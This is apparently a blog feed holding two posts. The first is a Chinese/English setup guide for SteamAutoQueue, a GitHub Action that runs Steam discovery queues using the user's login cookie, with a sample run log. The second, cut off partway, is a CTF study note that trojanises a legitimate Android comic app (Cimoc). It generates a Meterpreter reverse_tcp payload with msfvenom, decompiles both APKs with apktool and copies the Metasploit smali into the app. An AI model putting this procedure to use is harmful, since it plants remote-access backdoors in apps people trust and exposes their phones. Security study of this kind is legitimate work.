先打开Steam商店,正常登陆,然后按下F12打开开发者工具,在选项卡里面找到网络(Network),刷新一下,在左侧找到store.steampowered.com,点击一下,然后在右侧下拉找到Cookie,把里面的东西复制出来

如果你选择用Action运行,,那么把Cookie复制下来后直接进入[Action环节](#在Github Action运行)

如果你选择服务器运行,那么你需要运行一下ConvertCookie.py,输入你的cookie字符串,然后打开cookie.txt就可以看到用于填在config.json的cookie了,复制出来,填在配置文件的cookie配置里面,如果你使用Action运行

如果你的电脑没有Python环境,或者你没有clone本仓库,你也可以打开这个网站字符串在线替换 - so工具 (sotool.net),然后在这里完成替换操作,替换的要求就是把双引号"替换为单引号'(注意要半角符号不是全角符号)

在Github Action运行

首先先打开仓库页面,Fork一份 -> ElainaMoe/SteamAutoQueue: 利用Github Action来Steam自动探索队列,不是油猴脚本,不需要打开浏览器或者Steam就可以运行,促销期间必备!

然后点击Settings -> Secrets -> Actions,进入变量添加页面

添加如图所示的变量,变量获取请查看这里,你只需要添加名为COOKIE的变量即可,内容是你的COOKIE

当然你也可以把Cookie用仓库里自带的SetCookie.py脚本放到你的Redis数据库里(填写config.jsonSteam相关字段后,只需要把Steam键下的内容贴进脚本里设置就行了),这样你就不需要一个一个加,但是不是所有人都有数据库,所以说没有数据库的话就一个一个来吧。

添加完后点击顶上导航栏的Action按钮,然后点击中间的绿色按钮开启Action

然后按照如图所示的方式打开两个Action脚本

打开后可以运行一次看看结果,一般来说没有打叉就是没啥问题了

运行结果应该像下面这个这样(注:我这里Cookie的设置方式不太一样,我放在了Redis里面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!

无法运行/发现Bug

请带着你的运行日志到Issues · ElainaMoe/SteamAutoQueue (github.com)报个BUG吧

English

Actually I started to do this before Summer-Sale. However that week is filled with examinations. So I just guarantee the Windows local version can be run successfully and left Linux behind. When it comes to the weekend, it was the time that Summer-Sale has began……

Why I made this? For the reason that as a student, I will not open my computer everyday. The script that run on TemperMoney or the one in Steam++ need a browser or Steam client to run. So I make this one that no anything need to open.

But I finish this too late, so when it comes to the Winter-Sale that I will promote it by myself. If you’re willing to promote my script, just do it. No any permission needed. After you promote it, just left you link in the comment below. Thank you!

Give me a STAR ✨ and we will start now.

Getting variables

You need to go to Steam website and Press F12, find network and refresh the page once. Then you can find store.steampowered.com on the left side. Click on it and scroll down on the right side, and you will find cookie string.

If you run this script on Action, copy this then go to [Run on Github Action](#Run on Github Action) section

Copy that and run ConvertCookie.py, paste your cookie in it and you will find the string that need to be fill in the config.json is in the cookie.txt, copy that and fill it in the cookie key of the config file.

If you dont have a Python environment or you havent clone the source code, you can also go to Find and Replace a String - Online String Tools to finish it.

Run on Github Action

First open the repo and fork it -> ElainaMoe/SteamAutoQueue: Using Github Action to explore Steam queue every day. You will need it when it comes to the Summer/Winter Sale.

Then click on Settings -> Secrets -> Actions to enter the page to add variables

Add the variables shown on this picture, [you can know how to get then from here](#Getting variables)

YOU ONLY NEED TO ADD THE VARIABLE NAMED “COOKIE” AND FILL YOUR COOKIE IN IT, THE FOLLOWING PICTURE IS OUTDATED!

After you finishing it, click the Action button from nav-bar and click the green button on the center to turn Action on.

Then enable the two scripts like this in the picture.

After you opened them, you can run them by yourself. If it doesn’t display something wrong, then you have finished.

The result should like this (I placed the variables in my Redis)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2022-07-02 09:15:54:INFO:
__ _ _ _ ____
/ _\ |_ ___ __ _ _ __ ___ /_\ _ _| |_ ___ /___ \_ _ ___ _ _ ___
\ \| __/ _ \/ _` | '_ ` _ \ //_\\| | | | __/ _ \ // / / | | |/ _ \ | | |/ _ \
_\ \ || __/ (_| | | | | | | / _ \ |_| | || (_) | / \_/ /| |_| | __/ |_| | __/
\__/\__\___|\__,_|_| |_| |_| \_/ \_/\__,_|\__\___/ \___,_\ \__,_|\___|\__,_|\___|
-- Made by GamerNoTitle
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Cookie get from Redis
2022-07-02 09:15:55:INFO:[SteamAutoQueue] Initalizing instance...
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Instance initalized.
2022-07-02 09:15:56:INFO:[SteamAutoQueue] Trying to access steam store.
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully access steam store. Adding cookie...
2022-07-02 09:15:57:INFO:[SteamAutoQueue] Successfully add cookie.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] You have been logged in as
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Try to start the queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] Start the queue failed, maybe you have already started a queue.
2022-07-02 09:15:59:INFO:[SteamAutoQueue] We will try to spawn a new one.
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Starting Queue No.1
2022-07-02 09:16:06:INFO:[SteamAutoQueue] Exploring 终暮黎明 with link https://store.steampowered.com/app/1823890/_/
2022-07-02 09:16:08:INFO:[SteamAutoQueue] Exploring 未命名穿越记录 with link https://store.steampowered.com/app/1548680/_/
2022-07-02 09:16:10:INFO:[SteamAutoQueue] Exploring Noctem with link https://store.steampowered.com/app/1701740/Noctem/
2022-07-02 09:16:11:INFO:[SteamAutoQueue] Exploring Dagon: by H. P. Lovecraft with link https://store.steampowered.com/app/1481400/Dagon_by_H_P_Lovecraft/
2022-07-02 09:16:13:INFO:[SteamAutoQueue] Exploring Trash Horror Collection with link https://store.steampowered.com/app/2017370/Trash_Horror_Collection/
2022-07-02 09:16:16:INFO:[SteamAutoQueue] Exploring Critters for Sale with link https://store.steampowered.com/app/1078420/Critters_for_Sale/
2022-07-02 09:16:17:INFO:[SteamAutoQueue] Exploring Will Die Alone with link https://store.steampowered.com/app/1879820/Will_Die_Alone/
2022-07-02 09:16:19:INFO:[SteamAutoQueue] Exploring Faded Stories: Greenberg with link https://store.steampowered.com/app/1837820/Faded_Stories_Greenberg/
2022-07-02 09:16:20:INFO:[SteamAutoQueue] Exploring Cyclone with link https://store.steampowered.com/app/1803590/Cyclone/
2022-07-02 09:16:23:INFO:[SteamAutoQueue] Exploring QUICKERFLAK_RUTHLESSMOD with link https://store.steampowered.com/app/2010110/QUICKERFLAK_RUTHLESSMOD/
2022-07-02 09:16:25:INFO:[SteamAutoQueue] Exploring 智能工厂大亨:序章 with link https://store.steampowered.com/app/1810980/_/
2022-07-02 09:16:26:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/919290/, skipping.
2022-07-02 09:16:27:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Starting Queue No.2
2022-07-02 09:16:32:INFO:[SteamAutoQueue] Exploring 元宇宙-原始世界 with link https://store.steampowered.com/app/1757830/_/
2022-07-02 09:16:34:INFO:[SteamAutoQueue] Exploring 残世界的鸢尾花 with link https://store.steampowered.com/app/1669330/_/
2022-07-02 09:16:37:INFO:[SteamAutoQueue] Exploring 重力朋克 with link https://store.steampowered.com/app/1831520/_/
2022-07-02 09:16:38:INFO:[SteamAutoQueue] Exploring 最后的夜晚 Babel with link https://store.steampowered.com/app/1436980/_Babel/
2022-07-02 09:16:40:INFO:[SteamAutoQueue] Exploring 畢業生模擬器 with link https://store.steampowered.com/app/1806070/_/
2022-07-02 09:16:41:INFO:[SteamAutoQueue] Found age check when accessing https://store.steampowered.com/agecheck/app/1762700/, skipping.
2022-07-02 09:16:43:INFO:[SteamAutoQueue] Exploring Zcrew(Z字特遣队) with link https://store.steampowered.com/app/1386650/ZcrewZ/
2022-07-02 09:16:45:INFO:[SteamAutoQueue] Exploring Firelight Fantasy: Vengeance with link https://store.steampowered.com/app/1668780/Firelight_Fantasy_Vengeance/
2022-07-02 09:16:47:INFO:[SteamAutoQueue] Exploring Orakyubu with link https://store.steampowered.com/app/1654900/Orakyubu/
2022-07-02 09:16:54:INFO:[SteamAutoQueue] Exploring Crazy Kung Fu with link https://store.steampowered.com/app/1340300/Crazy_Kung_Fu/
2022-07-02 09:16:55:INFO:[SteamAutoQueue] Exploring Gunborg: Dark Matters with link https://store.steampowered.com/app/1529160/Gunborg_Dark_Matters/
2022-07-02 09:16:57:INFO:[SteamAutoQueue] Exploring Cyrah's Ascent with link https://store.steampowered.com/app/1992850/Cyrahs_Ascent/
2022-07-02 09:16:58:INFO:[SteamAutoQueue] Queue is empty, trying to spawn a new one.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Spawned. Now we will continue the work.
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Starting Queue No.3
2022-07-02 09:17:03:INFO:[SteamAutoQueue] Exploring 恋与你 Love with You with link https://store.steampowered.com/app/1814380/_Love_with_You/
2022-07-02 09:17:08:INFO:[SteamAutoQueue] Exploring 堪舆剑冢 with link https://store.steampowered.com/app/1640150/_/
2022-07-02 09:17:10:INFO:[SteamAutoQueue] Exploring Villwars with link https://store.steampowered.com/app/2013990/Villwars/
2022-07-02 09:17:11:INFO:[SteamAutoQueue] Exploring Siege of Treboulain with link https://store.steampowered.com/app/1849760/Siege_of_Treboulain/
2022-07-02 09:17:13:INFO:[SteamAutoQueue] Exploring Contract Killer with link https://store.steampowered.com/app/1588250/Contract_Killer/
2022-07-02 09:17:15:INFO:[SteamAutoQueue] Exploring Tales From Hoia Baciu Forest with link https://store.steampowered.com/app/2002560/Tales_From_Hoia_Baciu_Forest/
2022-07-02 09:17:16:INFO:[SteamAutoQueue] Exploring Endlanders : First Encounter with link https://store.steampowered.com/app/2010450/Endlanders__First_Encounter/
2022-07-02 09:17:18:INFO:[SteamAutoQueue] Exploring Flight Of Nova with link https://store.steampowered.com/app/1069190/Flight_Of_Nova/
2022-07-02 09:17:19:INFO:[SteamAutoQueue] Exploring Gary Grigsby's War in the East 2 with link https://store.steampowered.com/app/1775550/Gary_Grigsbys_War_in_the_East_2/
2022-07-02 09:17:21:INFO:[SteamAutoQueue] Exploring DOOM TOMB with link https://store.steampowered.com/app/1893050/DOOM_TOMB/
2022-07-02 09:17:22:INFO:[SteamAutoQueue] Exploring Nyaaaanvy with link https://store.steampowered.com/app/1771990/Nyaaaanvy/
2022-07-02 09:17:24:INFO:[SteamAutoQueue] Exploring Batho[tel] with link https://store.steampowered.com/app/1981590/Bathotel/
2022-07-02 09:17:25:INFO:[SteamAutoQueue] SteamAutoQueue's work has done!

Unable to run / Find a bug

Please go to Issues · ElainaMoe/SteamAutoQueue (github.com) and submit a issue. Thanks!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Script + + Steam + + + +
+ + + + + CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序 + + /posts/CTF-in-College-7/ + +

填坑回,因为之前在CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写,然后写我们CTF俱乐部学期总结的时候就顺带讲了这个,所以就填了个坑

首先要生成带有后门程序的apk文件

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk

这里的host我实际上填的是我的公网服务器的IP地址,生成以后,如果直接安装,手机是肯定会报毒的(特别是装的国产定制ROM如MIUI、COLOROS之类的),这个时候就要把我们的后门程序注入到其他的软件里面去

(装上了会像右边这个图标这样,啥也没有,而且点开除了打开了后门也不会有什么反应)

然后我们反编译一下软件,用Linux(可能会)自带的apktool(如果没有请直走右转Github)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o payload pentestlab.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

这样后门程序就反编译完了,接下来要反编译我们需要的软件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o original Cimoc.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on Cimoc.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

接着把payload的文件弄到我们要注入的程序目录下

1
2
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ cp payload/smali/com/metasploit/stage original/smali/com/metasploit/stage -r

在软件反编译后的AndroidManifest.xml文件里面,会存放着软件的权限列表、活动列表等信息,在这里可以看到最开始启动了什么活动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="29" android:compileSdkVersionCodename="10" package="com.hiroshi.cimoc" platformBuildVersionCode="29" platformBuildVersionName="10">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:name="com.hiroshi.cimoc.App" android:requestLegacyExternalStorage="true" android:supportsRtl="true" android:theme="@style/AppTheme" android:usesCleartextTraffic="true">
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.hiroshi.cimoc.ui.activity.ResultActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.ChapterActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TagEditorActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TaskActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SettingsActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.settings.ReaderConfigActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BackupActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.AboutActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.CategoryActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SearchActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SourceDetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.PartFavoriteActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DirPickerActivity" android:screenOrientation="unspecified"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.settings.EventSettingsActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.PageReaderActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.StreamReaderActivity"/>
<service android:name="com.hiroshi.cimoc.service.DownloadService"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BrowserFilter" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="cimoc"/>
<data android:host="m.buka.cn" android:scheme="http"/>
<data android:host="m.buka.cn" android:scheme="https"/>
<data android:host="www.dm5.com" android:scheme="http"/>
<data android:host="www.dm5.com" android:scheme="https"/>
<data android:host="tel.dm5.com" android:scheme="http"/>
<data android:host="tel.dm5.com" android:scheme="https"/>
<data android:host="manhua.dmzj.com" android:scheme="http"/>
<data android:host="manhua.dmzj.com" android:scheme="https"/>
<data android:host="m.dmzj.com" android:scheme="http"/>
<data android:host="m.dmzj.com" android:scheme="https"/>
<data android:host="m.5qmh.com" android:scheme="http"/>
<data android:host="m.5qmh.com" android:scheme="https"/>
<data android:host="m.pufei.net" android:scheme="http"/>
<data android:host="m.pufei.net" android:scheme="https"/>
<data android:host="ac.qq.com" android:scheme="http"/>
<data android:host="ac.qq.com" android:scheme="https"/>
<data android:host="m.ac.qq.com" android:scheme="http"/>
<data android:host="m.ac.qq.com" android:scheme="https"/>
<data android:host="www.u17.com" android:scheme="http"/>
<data android:host="www.u17.com" android:scheme="https"/>
<data android:host="www.migudm.cn" android:scheme="http"/>
<data android:host="www.migudm.cn" android:scheme="https"/>
<data android:host="m.migudm.cn" android:scheme="http"/>
<data android:host="m.migudm.cn" android:scheme="https"/>
<data android:host="99770.hhxxee.com" android:scheme="http"/>
<data android:host="99770.hhxxee.com" android:scheme="https"/>
<data android:host="www.cartoonmad.com" android:scheme="http"/>
<data android:host="www.cartoonmad.com" android:scheme="https"/>
<data android:host="www.2animx.com" android:scheme="http"/>
<data android:host="www.2animx.com" android:scheme="https"/>
<data android:host="www.50mh.com" android:scheme="http"/>
<data android:host="www.50mh.com" android:scheme="https"/>
<data android:host="m.50mh.com" android:scheme="http"/>
<data android:host="m.50mh.com" android:scheme="https"/>
<data android:host="www.manhuadb.com" android:scheme="http"/>
<data android:host="www.manhuadb.com" android:scheme="https"/>
<data android:host="m.bnmanhua.com" android:scheme="http"/>
<data android:host="m.bnmanhua.com" android:scheme="https"/>
<data android:host="m.tohomh123.com" android:scheme="http"/>
<data android:host="m.tohomh123.com" android:scheme="https"/>
<data android:host="www.chuixue.net" android:scheme="http"/>
<data android:host="www.chuixue.net" android:scheme="https"/>
<data android:host="m.517manhua.com" android:scheme="http"/>
<data android:host="m.517manhua.com" android:scheme="https"/>
</intent-filter>
</activity>
<provider android:authorities="com.hiroshi.cimoc" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths_public"/>
</provider>
<service android:directBootAware="true" android:exported="false" android:name="com.google.firebase.components.ComponentDiscoveryService">
<meta-data android:name="com.google.firebase.components:com.google.firebase.crashlytics.CrashlyticsRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.remoteconfig.RemoteConfigRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.abt.component.AbtRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.iid.Registrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
</service>
<receiver android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementReceiver"/>
<receiver android:enabled="true" android:exported="true" android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver" android:permission="android.permission.INSTALL_PACKAGES">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementService"/>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="true" android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver" android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE"/>
</intent-filter>
</receiver>
<provider android:authorities="com.hiroshi.cimoc.firebaseinitprovider" android:exported="false" android:initOrder="100" android:name="com.google.firebase.provider.FirebaseInitProvider"/>
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
<meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version"/>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.backends.TransportBackendDiscovery">
<meta-data android:name="backend:com.google.android.datatransport.cct.CctBackendFactory" android:value="cct"/>
</service>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.JobInfoSchedulerService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.AlarmManagerSchedulerBroadcastReceiver"/>
</application>
</manifest>

其中,下面这行就告诉我们启动了一个名为com.hiroshi.cimoc.ui.activity.MainActivity的活动

1
